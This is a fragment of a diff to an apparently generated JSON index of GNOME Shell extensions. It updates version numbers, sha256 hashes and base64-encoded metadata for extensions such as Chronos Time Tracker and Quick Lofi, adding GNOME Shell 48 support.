+    "48": {"version": "9", "sha256": "1zinkxfn8a3r33ydk84la6qvnvwmxh2dsywgrhpfkcjwwn9iml7c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vbml0b3Igc3lzdGVtIGZyb20gdGhlIHRvcCBiYXIiLAogICJleHRlbnNpb24taWQiOiAic3lzdGVtLW1vbml0b3IiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tc3lzdGVtLW1vbml0b3IiLAogICJuYW1lIjogIlN5c3RlbSBNb25pdG9yIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN5c3RlbS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogInN5c3RlbS1tb25pdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDkKfQ=="}
   }}
 , {"uuid": "window-thumbnails@G-dH.github.com", "name": "WTMB (Window Thumbnails)", "pname": "wtmb-window-thumbnails", "description": "Allows the creation of window clones for use as Picture-in-Picture (PiP) live thumbnails\n\nFeatures:\n- Unlimited number of window thumbnails\n- Minimize windows to thumbnails\n- Resizable via scrolling\n- Customizable opacity\n- Optional full-size window preview on thumbnail hover\n- Option to hide on thumbnail hover\n- Customizable mouse button actions\n- Customizable keyboard shortcuts\n- Multi-monitor support", "link": "https://extensions.gnome.org/extension/6816/wtmb-window-thumbnails/", "shell_version_map": {
     "42": {"version": "9", "sha256": "07byw17537lmy073c3vq4pzafbflnd5mm45i5sy82mh61j9i1zsl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93cyB0aGUgY3JlYXRpb24gb2Ygd2luZG93IGNsb25lcyBmb3IgdXNlIGFzIFBpY3R1cmUtaW4tUGljdHVyZSAoUElQKSBsaXZlIHRodW1ibmFpbHMiLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogImdlb3JnZGgiCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAid2luZG93LXRodW1ibmFpbHMiLAogICJuYW1lIjogIldUTUIgKFdpbmRvdyBUaHVtYm5haWxzKSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy53aW5kb3ctdGh1bWJuYWlscyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0ctZEgvd2luZG93LXRodW1ibmFpbHMiLAogICJ1dWlkIjogIndpbmRvdy10aHVtYm5haWxzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMyIKfQ=="},
@@ -8001,9 +8023,10 @@
     "48": {"version": "5", "sha256": "1vxahrhhqr3grcj6ycvdd388q1dh9f9a4x91k6zdkrxw25hxk5c6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBsZWFzYW50LXNvdW5kaW5nLCB0YWxrYXRpdmUgYW5ub3VuY2VyIG9mIHN5c3RlbSBvciB1c2VyIG5vdGlmaWNhdGlvbnMuIFNjcmVlbiByZWFkZXIsIHRleHQgc3VtbWFyaXplci4gR2l2ZSBhIHJlYWwgdm9pY2UgdG8gR05PTUUuIiwKICAibmFtZSI6ICJWb2x1YmxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vUXVhbnRpdXNCZW5pZ251cy92b2x1YmxlIiwKICAidXVpZCI6ICJ2b2x1YmxlQHF1YW50aXVzYmVuaWdudXMubG9jYWwiLAogICJ2ZXJzaW9uIjogNQp9"}
   }}
 , {"uuid": "chronos@time-tracker.com", "name": "Chronos Time Tracker", "pname": "chronos-time-tracker", "description": "Time tracker tool\nMange and track your time. Features:\n- tracking time\n- display customisation\n- log to file start/pause\n- optional pause of tracking on screen lock (hibernate/shutdown)\n- reset to particular time value", "link": "https://extensions.gnome.org/extension/6856/chronos-time-tracker/", "shell_version_map": {
-    "45": {"version": "9", "sha256": "1kzcvsd1avgvsfqln0rcq9fyrdziq4yc2h7q0jjy7dhzkgsf0zxg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vMHZ2bGFuZC9jaHJvbm9zIiwKICAidXVpZCI6ICJjaHJvbm9zQHRpbWUtdHJhY2tlci5jb20iLAogICJ2ZXJzaW9uIjogOQp9"},
-    "46": {"version": "9", "sha256": "1kzcvsd1avgvsfqln0rcq9fyrdziq4yc2h7q0jjy7dhzkgsf0zxg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vMHZ2bGFuZC9jaHJvbm9zIiwKICAidXVpZCI6ICJjaHJvbm9zQHRpbWUtdHJhY2tlci5jb20iLAogICJ2ZXJzaW9uIjogOQp9"},
-    "47": {"version": "9", "sha256": "1kzcvsd1avgvsfqln0rcq9fyrdziq4yc2h7q0jjy7dhzkgsf0zxg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vMHZ2bGFuZC9jaHJvbm9zIiwKICAidXVpZCI6ICJjaHJvbm9zQHRpbWUtdHJhY2tlci5jb20iLAogICJ2ZXJzaW9uIjogOQp9"}
+    "45": {"version": "10", "sha256": "140fzk2y7bkznqgvwgpv9q6dfv7icb7g4wz1k3cwbrqq8qfw03q9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tLzB2dmxhbmQvY2hyb25vcyIsCiAgInV1aWQiOiAiY2hyb25vc0B0aW1lLXRyYWNrZXIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
+    "46": {"version": "10", "sha256": "140fzk2y7bkznqgvwgpv9q6dfv7icb7g4wz1k3cwbrqq8qfw03q9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tLzB2dmxhbmQvY2hyb25vcyIsCiAgInV1aWQiOiAiY2hyb25vc0B0aW1lLXRyYWNrZXIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
+    "47": {"version": "10", "sha256": "140fzk2y7bkznqgvwgpv9q6dfv7icb7g4wz1k3cwbrqq8qfw03q9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tLzB2dmxhbmQvY2hyb25vcyIsCiAgInV1aWQiOiAiY2hyb25vc0B0aW1lLXRyYWNrZXIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
+    "48": {"version": "10", "sha256": "140fzk2y7bkznqgvwgpv9q6dfv7icb7g4wz1k3cwbrqq8qfw03q9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbWUgdHJhY2tlciB0b29sXG5NYW5nZSBhbmQgdHJhY2sgeW91ciB0aW1lLiBGZWF0dXJlczpcbi0gdHJhY2tpbmcgdGltZVxuLSBkaXNwbGF5IGN1c3RvbWlzYXRpb25cbi0gbG9nIHRvIGZpbGUgc3RhcnQvcGF1c2Vcbi0gb3B0aW9uYWwgcGF1c2Ugb2YgdHJhY2tpbmcgb24gc2NyZWVuIGxvY2sgKGhpYmVybmF0ZS9zaHV0ZG93bilcbi0gcmVzZXQgdG8gcGFydGljdWxhciB0aW1lIHZhbHVlIiwKICAibmFtZSI6ICJDaHJvbm9zIFRpbWUgVHJhY2tlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5jaHJvbm9zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tLzB2dmxhbmQvY2hyb25vcyIsCiAgInV1aWQiOiAiY2hyb25vc0B0aW1lLXRyYWNrZXIuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="}
   }}
 , {"uuid": "screenshort-cut@pauloimon", "name": "Screenshort-cut", "pname": "screenshort-cut", "description": "A simple shortcut to take screenshots directly on your top bar!", "link": "https://extensions.gnome.org/extension/6868/screenshort-cut/", "shell_version_map": {
     "42": {"version": "2", "sha256": "0jz2knz5rxmx7dhxbrfgwagx6p47bs0wlr9s0ml32j27d7p61kax", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIHNob3J0Y3V0IHRvIHRha2Ugc2NyZWVuc2hvdHMgZGlyZWN0bHkgb24geW91ciB0b3AgYmFyISIsCiAgIm5hbWUiOiAiU2NyZWVuc2hvcnQtY3V0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcGF1bG9pbW9uL2dub21lLXNjcmVlbnNob3J0LWN1dC1leHRlbnNpb24iLAogICJ1dWlkIjogInNjcmVlbnNob3J0LWN1dEBwYXVsb2ltb24iLAogICJ2ZXJzaW9uIjogMgp9"},
@@ -8061,9 +8084,9 @@
     "48": {"version": "6", "sha256": "10vs258r4b0f1a6hbd0ycrcsqpz0yb336wcj0ifki5bbwf23xzz1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgYSBiaW5hcnkgY2xvY2sgdG8gdGhlIGdub21lIHRvcCBiYXIiLAogICJuYW1lIjogImdCaW5hcnlDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9Jc29wb2xpdG8vZ0JpbmFyeUNsb2NrIiwKICAidXVpZCI6ICJnYmluYXJ5Y2xvY2tAaXNvcG9saXRvIiwKICAidmVyc2lvbiI6IDYKfQ=="}
   }}
 , {"uuid": "quick-lofi@eucaue", "name": "Quick Lofi", "pname": "quick-lofi", "description": "Relax to lo-fi tunes with just a click.\n\nYou need MPV for this extension to work.\n\nFedora: sudo dnf install mpv\nUbuntu: sudo apt install mpv\nArch Linux: sudo pacman -S mpv", "link": "https://extensions.gnome.org/extension/6904/quick-lofi/", "shell_version_map": {
-    "46": {"version": "11", "sha256": "17kfc951xycjigz1fi8dq7jcaal1i92ihknf8wpzy4whgzr51kjc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbGF4IHRvIGxvLWZpIHR1bmVzIHdpdGgganVzdCBhIGNsaWNrLlxuXG5Zb3UgbmVlZCBNUFYgZm9yIHRoaXMgZXh0ZW5zaW9uIHRvIHdvcmsuXG5cbkZlZG9yYTogc3VkbyBkbmYgaW5zdGFsbCBtcHZcblVidW50dTogc3VkbyBhcHQgaW5zdGFsbCBtcHZcbkFyY2ggTGludXg6IHN1ZG8gcGFjbWFuIC1TIG1wdiIsCiAgIm5hbWUiOiAiUXVpY2sgTG9maSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdWljay1sb2ZpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZXVjYXVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1xdWljay1sb2ZpIiwKICAidXVpZCI6ICJxdWljay1sb2ZpQGV1Y2F1ZSIsCiAgInZlcnNpb24iOiAxMQp9"},
-    "47": {"version": "11", "sha256": "17kfc951xycjigz1fi8dq7jcaal1i92ihknf8wpzy4whgzr51kjc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbGF4IHRvIGxvLWZpIHR1bmVzIHdpdGgganVzdCBhIGNsaWNrLlxuXG5Zb3UgbmVlZCBNUFYgZm9yIHRoaXMgZXh0ZW5zaW9uIHRvIHdvcmsuXG5cbkZlZG9yYTogc3VkbyBkbmYgaW5zdGFsbCBtcHZcblVidW50dTogc3VkbyBhcHQgaW5zdGFsbCBtcHZcbkFyY2ggTGludXg6IHN1ZG8gcGFjbWFuIC1TIG1wdiIsCiAgIm5hbWUiOiAiUXVpY2sgTG9maSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdWljay1sb2ZpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZXVjYXVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1xdWljay1sb2ZpIiwKICAidXVpZCI6ICJxdWljay1sb2ZpQGV1Y2F1ZSIsCiAgInZlcnNpb24iOiAxMQp9"},
-    "48": {"version": "11", "sha256": "17kfc951xycjigz1fi8dq7jcaal1i92ihknf8wpzy4whgzr51kjc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbGF4IHRvIGxvLWZpIHR1bmVzIHdpdGgganVzdCBhIGNsaWNrLlxuXG5Zb3UgbmVlZCBNUFYgZm9yIHRoaXMgZXh0ZW5zaW9uIHRvIHdvcmsuXG5cbkZlZG9yYTogc3VkbyBkbmYgaW5zdGFsbCBtcHZcblVidW50dTogc3VkbyBhcHQgaW5zdGFsbCBtcHZcbkFyY2ggTGludXg6IHN1ZG8gcGFjbWFuIC1TIG1wdiIsCiAgIm5hbWUiOiAiUXVpY2sgTG9maSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdWljay1sb2ZpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZXVjYXVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1xdWljay1sb2ZpIiwKICAidXVpZCI6ICJxdWljay1sb2ZpQGV1Y2F1ZSIsCiAgInZlcnNpb24iOiAxMQp9"}
+    "46": {"version": "12", "sha256": "00v29f2v83krdfnrf58ihf3wzmd6ssylj81h2gcg99kdagj2khms", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbGF4IHRvIGxvLWZpIHR1bmVzIHdpdGgganVzdCBhIGNsaWNrLlxuXG5Zb3UgbmVlZCBNUFYgZm9yIHRoaXMgZXh0ZW5zaW9uIHRvIHdvcmsuXG5cbkZlZG9yYTogc3VkbyBkbmYgaW5zdGFsbCBtcHZcblVidW50dTogc3VkbyBhcHQgaW5zdGFsbCBtcHZcbkFyY2ggTGludXg6IHN1ZG8gcGFjbWFuIC1TIG1wdiIsCiAgIm5hbWUiOiAiUXVpY2sgTG9maSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdWljay1sb2ZpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZXVjYXVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1xdWljay1sb2ZpIiwKICAidXVpZCI6ICJxdWljay1sb2ZpQGV1Y2F1ZSIsCiAgInZlcnNpb24iOiAxMgp9"},
+    "47": {"version": "12", "sha256": "00v29f2v83krdfnrf58ihf3wzmd6ssylj81h2gcg99kdagj2khms", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbGF4IHRvIGxvLWZpIHR1bmVzIHdpdGgganVzdCBhIGNsaWNrLlxuXG5Zb3UgbmVlZCBNUFYgZm9yIHRoaXMgZXh0ZW5zaW9uIHRvIHdvcmsuXG5cbkZlZG9yYTogc3VkbyBkbmYgaW5zdGFsbCBtcHZcblVidW50dTogc3VkbyBhcHQgaW5zdGFsbCBtcHZcbkFyY2ggTGludXg6IHN1ZG8gcGFjbWFuIC1TIG1wdiIsCiAgIm5hbWUiOiAiUXVpY2sgTG9maSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdWljay1sb2ZpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZXVjYXVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1xdWljay1sb2ZpIiwKICAidXVpZCI6ICJxdWljay1sb2ZpQGV1Y2F1ZSIsCiAgInZlcnNpb24iOiAxMgp9"},
+    "48": {"version": "12", "sha256": "00v29f2v83krdfnrf58ihf3wzmd6ssylj81h2gcg99kdagj2khms", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbGF4IHRvIGxvLWZpIHR1bmVzIHdpdGgganVzdCBhIGNsaWNrLlxuXG5Zb3UgbmVlZCBNUFYgZm9yIHRoaXMgZXh0ZW5zaW9uIHRvIHdvcmsuXG5cbkZlZG9yYTogc3VkbyBkbmYgaW5zdGFsbCBtcHZcblVidW50dTogc3VkbyBhcHQgaW5zdGFsbCBtcHZcbkFyY2ggTGludXg6IHN1ZG8gcGFjbWFuIC1TIG1wdiIsCiAgIm5hbWUiOiAiUXVpY2sgTG9maSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdWljay1sb2ZpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZXVjYXVlL2dub21lLXNoZWxsLWV4dGVuc2lvbi1xdWljay1sb2ZpIiwKICAidXVpZCI6ICJxdWljay1sb2ZpQGV1Y2F1ZSIsCiAgInZlcnNpb24iOiAxMgp9"}
   }}
 , {"uuid": "mock-tray@kramo.page", "name": "Mock Tray", "pname": "mock-tray", "description": "Creates an invisible system tray (TopIcons) for apps (like MEGAsync) that won't run properly without one.", "link": "https://extensions.gnome.org/extension/6913/mock-tray/", "shell_version_map": {
     "45": {"version": "4", "sha256": "1288pgyj6pg5vxhn46f9gnigxy0zllnvmdbh5l8sjbhwvns8an8s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZXMgYW4gaW52aXNpYmxlIHN5c3RlbSB0cmF5IChUb3BJY29ucykgZm9yIGFwcHMgKGxpa2UgTUVHQXN5bmMpIHRoYXQgd29uJ3QgcnVuIHByb3Blcmx5IHdpdGhvdXQgb25lLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAia3JhLW1vIgogIH0sCiAgIm5hbWUiOiAiTW9jayBUcmF5IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2tyYS1tby9tb2NrLXRyYXkvIiwKICAidXVpZCI6ICJtb2NrLXRyYXlAa3JhbW8ucGFnZSIsCiAgInZlcnNpb24iOiA0Cn0="},
@@ -8072,10 +8095,10 @@
     "48": {"version": "4", "sha256": "1288pgyj6pg5vxhn46f9gnigxy0zllnvmdbh5l8sjbhwvns8an8s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZXMgYW4gaW52aXNpYmxlIHN5c3RlbSB0cmF5IChUb3BJY29ucykgZm9yIGFwcHMgKGxpa2UgTUVHQXN5bmMpIHRoYXQgd29uJ3QgcnVuIHByb3Blcmx5IHdpdGhvdXQgb25lLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAia3JhLW1vIgogIH0sCiAgIm5hbWUiOiAiTW9jayBUcmF5IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2tyYS1tby9tb2NrLXRyYXkvIiwKICAidXVpZCI6ICJtb2NrLXRyYXlAa3JhbW8ucGFnZSIsCiAgInZlcnNpb24iOiA0Cn0="}
   }}
